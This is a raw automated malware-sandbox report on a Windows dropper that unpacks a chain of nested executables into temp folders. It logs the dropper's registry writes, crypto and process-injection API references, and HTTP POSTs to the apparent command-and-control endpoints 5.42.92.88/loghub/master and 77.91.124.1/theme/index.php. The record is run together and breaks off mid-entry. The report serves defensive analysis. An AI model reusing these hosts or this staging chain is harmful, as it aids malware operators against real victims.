"tb8sC54.exe" has section name .reloc with entropy "6.222637930812128" "AY1yn84.exe" has section name .text with entropy "6.314163792045976" "AY1yn84.exe" has section name .rsrc with entropy "7.598484332558185" "AY1yn84.exe" has section name .reloc with entropy "6.222637930812128" "4HZ158BT.exe" has section name .text with entropy "6.347609018152964" "5gC9bz2.exe" has section name .text with entropy "6.481477924163614" "5gC9bz2.exe" has section name .reloc with entropy "6.604286353686168" "2TJ5569.exe" has section name .text with entropy "6.792540501452876" "2TJ5569.exe" has section name .reloc with entropy "6.7904444831249995" "6oy9bB3.exe" has section name .text with entropy "6.558083729279072" "6oy9bB3.exe" has section name .rdata with entropy "7.110640338733979" "3Fr64vK.exe" has section name .text with entropy "7.876606251361052"64:T410,Found api reference "DecryptFileA" (Indicator: "DecryptFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found api reference "DecryptFileA" (Indicator: "DecryptFileA"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found api reference "CryptEncrypt" (Indicator: "CryptEncrypt"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found api reference "DecryptFileA" (Indicator: "DecryptFileA"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found api reference "DecryptFileA" (Indicator: "DecryptFileA"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found api reference "DecryptFileA" (Indicator: "DecryptFileA"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp")65:T604,"hA8Nu84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\hA8Nu84.exe]- [targetUID: 00000000-00004880] "cp7GF84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\cp7GF84.exe]- [targetUID: 00000000-00004976] "tb8sC54.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\tb8sC54.exe]- [targetUID: 00000000-00004976] "AY1yn84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\AY1yn84.exe]- [targetUID: 00000000-00005260] "4HZ158BT.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4HZ158BT.exe]- [targetUID: 00000000-00004976] "5gC9bz2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5gC9bz2.exe]- [targetUID: 00000000-00004156] "2TJ5569.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2TJ5569.exe]- [targetUID: 00000000-00005260] "6oy9bB3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6oy9bB3.exe]- [targetUID: 00000000-00004880] "3Fr64vK.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Fr64vK.exe]- [targetUID: 00000000-00005624] "1kw38Ju7.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\1kw38Ju7.exe]- [targetUID: 00000000-00005260]66:T732,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "hA8Nu84.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "hA8Nu84.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "cp7GF84.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "cp7GF84.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "tb8sC54.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "tb8sC54.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "AY1yn84.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "AY1yn84.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"")67:T1006,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\hA8Nu84.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" wrote 8704 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6oy9bB3.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "hA8Nu84.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\cp7GF84.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "hA8Nu84.exe" wrote 31744 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5gC9bz2.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "cp7GF84.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\tb8sC54.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "cp7GF84.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4HZ158BT.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tb8sC54.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\AY1yn84.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tb8sC54.exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3Fr64vK.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "AY1yn84.exe" wrote 11776 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1kw38Ju7.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "AY1yn84.exe" wrote 20992 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2TJ5569.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...68:T65b,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "hA8Nu84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "hA8Nu84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "cp7GF84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "cp7GF84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "cp7GF84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "tb8sC54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "tb8sC54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "tb8sC54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "tb8sC54.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2TJ5569.exe" with delete access "AY1yn84.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1kw38Ju7.exe" with delete access69:T499,RegCreateKeyExA OpenProcessToken RegOpenKeyExA RegDeleteValueA RegCloseKey FindFirstFileA Sleep CreateProcessA GetVersionExA GetProcAddress DeleteFileA LoadLibraryA FindNextFileA WriteFile LockResource UnhandledExceptionFilter GetTempFileNameA GetTickCount LoadLibraryExA GetModuleHandleW CreateFileA CreateThread TerminateProcess GetSystemDirectoryA GetModuleFileNameA GetTempPathA FindResourceA CreateDirectoryA GetSystemInfo GetDriveTypeA GetStartupInfoW GetFileAttributesA GetUserNameA LookupAccountNameA GetModuleFileNameW GetVersionExW GetThreadContext VirtualAllocEx IsDebuggerPresent FindNextFileW LoadLibraryExW GetComputerNameExW GetModuleHandleA CreateFileW VirtualAlloc ReadProcessMemory GetCommandLineW CopyFileA GetModuleHandleExW WriteProcessMemory GetDriveTypeW FindFirstFileExW DeleteFileW GetCommandLineA ShellExecuteA InternetOpenA InternetReadFile InternetConnectA InternetCloseHandle InternetOpenW HttpSendRequestA InternetOpenUrlA FindResourceW GetTempPathW CreateDirectoryW GetSystemDirectoryW GetTempFileNameW LoadLibraryW GetNativeSystemInfo ShellExecuteExW GetWindowThreadProcessId6a:T198d,Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00000000-00000372.00000001.68900.00D92000.00000020.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00000000-00000372.00000001.68900.00D92000.00000020.mdmp") file/memory contains long string with (Indicator: "RC2"; File: "SSL") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00000372.00000000.68536.02500000.00000004.mdmp")6b:T38b7,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=Kz1d1oEhU2o1Cu48rdPGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header 